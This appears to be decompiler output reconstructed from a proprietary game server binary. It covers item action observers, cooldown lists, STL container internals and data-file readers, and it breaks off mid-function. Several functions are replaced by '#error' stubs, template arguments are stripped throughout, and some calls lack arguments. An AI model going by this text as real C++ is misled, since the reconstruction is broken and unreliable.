__thiscall ItemActionObserveManager::ActionResults::GetRateAppliValue(ItemActionObserveManager::ActionResults *this, unsigned int OriValue) { unsigned int result; // eax@1 ActionResult *v3; // ebx@2 unsigned int v4; // esi@2 int v5; // edi@2 result = OriValue; if ( OriValue ) { v3 = this->m_Results._Myfirst; v4 = 0; v5 = (int)&v3->value; while ( v3 && this->m_Results._Mylast - v3 > v4 ) { ++v4; result = (unsigned int)(result * *(_DWORD *)v5 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v5 += 8; } } return result; } //----- (0059A2F0) -------------------------------------------------------- unsigned int __thiscall ItemActionObserveManager::ActionResults::GetPlusAppliValue(ItemActionObserveManager::ActionResults *this) { ActionResult *v1; // edi@1 unsigned int result; // eax@1 unsigned int v3; // esi@1 int v4; // ebx@1 v1 = this->m_Results._Myfirst; result = 0; v3 = 0; v4 = (int)&v1->value; while ( v1 && this->m_Results._Mylast - v1 > v3 ) { result += *(_DWORD *)v4; ++v3; v4 += 8; } return result; } //----- (0059A320) -------------------------------------------------------- void __thiscall ItemActionObserveManager::Clear(ItemActionObserveManager *this) { ItemActionObserveManager *v1; // ebx@1 unsigned int i; // edi@1 ItemActionObserve **v3; // ecx@2 ItemActionObserve *v4; // esi@4 ItemActionObserveBuffer *v5; // eax@4 v1 = this; for ( i = 0; ; ++i ) { v3 = v1->iaom_Observes._Myfirst; if ( !v3 ) break; if ( v1->iaom_Observes._Mylast - v3 <= i ) break; v4 = v3[i]; v4->iao_pAction = 0; v4->iao_ActionID = -1; v5 = ItemActionObserveBuffer::Instance(); if ( !v5->baseclass_0.vfptr->l_Free((List *)v5, v4->iao_ListHandle) ) AssertClass::ac_AssertFail(&shineassert, "ItemActionObserveManager::Clear Can`t Free", 0); } if ( v1->iaom_Observes._Myfirst ) operator delete(v1->iaom_Observes._Myfirst); v1->iaom_Observes._Myfirst = 0; v1->iaom_Observes._Mylast = 0; v1->iaom_Observes._Myend = 0; } //----- (0059A3A0) -------------------------------------------------------- #error "59A3A0: undefined or illegal type '#593' (funcsize=104)" //----- (0059A4D0) -------------------------------------------------------- bool __thiscall ItemActionObserveManager::IsActiveGroup(ItemActionObserveManager *this, const unsigned __int16 ActionGroupID) { unsigned int v2; // edi@1 char *v3; // ecx@1 int i; // ebx@1 int v5; // eax@2 int v6; // esi@4 v2 = 0; v3 = (char *)&this->iaom_CoolTimeList; for ( i = 0; ; i += 24 ) { v5 = *((_DWORD *)v3 + 1); if ( !v5 ) break; if ( v2 >= (*((_DWORD *)v3 + 2) - v5) / 24 ) break; v6 = *((_DWORD *)v3 + 1); if ( !v6 || (*((_DWORD *)v3 + 2) - v6) / 24 <= v2 ) std::vector>::_Xran((std::vector > *)v3); if ( *(_DWORD *)(i + v6 + 12) == ActionGroupID && *(_DWORD *)(i + v6 + 20) != clockwatch.cw_CurrTick ) return 0; ++v2; } return 1; } //----- (0059A560) -------------------------------------------------------- #error "59A560: undefined or illegal type '#593' (funcsize=102)" //----- (0059A680) -------------------------------------------------------- #error "59A680: undefined or illegal type '#593' (funcsize=120)" //----- (0059A7F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemActionObserveManager::GroupCoolTime *_Val) { std::vector > *v4; // edi@1 ItemActionObserveManager::GroupCoolTime *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0059A860) -------------------------------------------------------- #error "59A860: undefined or illegal type '#593' (funcsize=19)" //----- (0059A8A0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ActionResult *_Val) { std::vector > *v2; // esi@1 ActionResult *v3; // edx@1 signed int v4; // ecx@2 ActionResult *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0059A910) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ItemActionObserve *const *_Val) { ItemActionObserve **v2; // esi@1 signed int v3; // edx@2 ItemActionObserve **v4; // eax@6 v2 = this->_Myfirst; if ( v2 ) v3 = this->_Mylast - v2; else v3 = 0; if ( v2 && v3 < this->_Myend - v2 ) { v4 = this->_Mylast; *v4 = *_Val; this->_Mylast = v4 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u, _Val); } } //----- (0059A960) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ItemActionObserveManager::GroupCoolTime *_Val) { std::vector > *v2; // esi@1 ItemActionObserveManager::GroupCoolTime *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 ItemActionObserveManager::GroupCoolTime *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 2; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0059A9F0) -------------------------------------------------------- #error "59A9F0: undefined or illegal type '#593' (funcsize=65)" //----- (0059AAA0) -------------------------------------------------------- #error "59AAA0: undefined or illegal type '#593' (funcsize=129)" //----- (0059AC20) -------------------------------------------------------- #error "59AC20: undefined or illegal type '#593' (funcsize=116)" //----- (0059AD60) -------------------------------------------------------- bool __thiscall ItemActionObserveManager::EventRun(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, ItemActionArgument *pArgument) { return ItemActionObserveManager::_EventRun(this, pResults, pArgument, 0xFFFFu); } //----- (0059AD80) -------------------------------------------------------- bool __thiscall ItemActionObserveManager::EventRunBySkillGroupIndex(ItemActionObserveManager *this, ItemActionObserveManager::ActionResults *pResults, SkillDataBox::SkillDataIndex *pSkillIndex, SkillEffectIncreaseType Impower, #593 *psubject, #593 *pobject) { ItemActionObserveManager *v6; // ebx@1 SkillDataBox::SkillDataIndex *v7; // ecx@1 unsigned int v8; // esi@1 bool result; // al@3 int v10; // edi@6 int v11; // ecx@7 int arg; // [sp+8h] [bp-1Ch]@6 int v13; // [sp+Ch] [bp-18h]@6 int v14; // [sp+10h] [bp-14h]@6 SkillEffectIncreaseType v15; // [sp+14h] [bp-10h]@6 #593 *v16; // [sp+18h] [bp-Ch]@6 #593 *v17; // [sp+1Ch] [bp-8h]@6 #593 *v18; // [sp+20h] [bp-4h]@6 bool pSkillIndexa; // [sp+2Ch] [bp+8h]@6 v6 = this; v7 = pSkillIndex; v8 = 0; if ( pSkillIndex && psubject ) { if ( pResults ) { v16 = psubject; v17 = psubject; v13 = 0; arg = 7; v14 = 5; v15 = Impower; v18 = pobject; pSkillIndexa = 0; v10 = (int)&v7->sdi_ActiveSkillGroups; while ( 1 ) { v11 = *(_DWORD *)(v10 + 4); if ( !v11 ) break; if ( v8 >= (*(_DWORD *)(v10 + 8) - v11) >> 2 ) break; if ( !v11 || (*(_DWORD *)(v10 + 8) - v11) >> 2 <= v8 ) std::vector>::_Xran((std::vector > *)v10); v13 = *(_DWORD *)(*(_DWORD *)(v11 + 4 * v8) + 32); if ( ItemActionObserveManager::_EventRun(v6, pResults, (ItemActionArgument *)&arg, 0xFFFFu) == 1 ) pSkillIndexa = 1; ++v8; } result = pSkillIndexa; } else { result = 0; } } else { result = 0; } return result; } //----- (0059AE50) -------------------------------------------------------- #error "59AE50: undefined or illegal type '#593' (funcsize=34)" //----- (0059AEC0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0059AF00) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,0> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0059B1C0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0059B280) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0059B2B0) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator>_0>>::_Buynode(&this->baseclass_0); v1->baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (0059B2E0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (0059B300) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (0059B320) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (0059B340) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (0059B360) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 29) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 29); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0059B3C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 37) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 37); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0059B420) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x9Au, 0x64u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0059B4D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x58u, 0x47u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0059B580) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x160u, 0x51u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0059B630) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sbbt_NextTick = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_TimerReset"); } //----- (0059B690) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BossAbstateSet"); } //----- (0059B6D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; 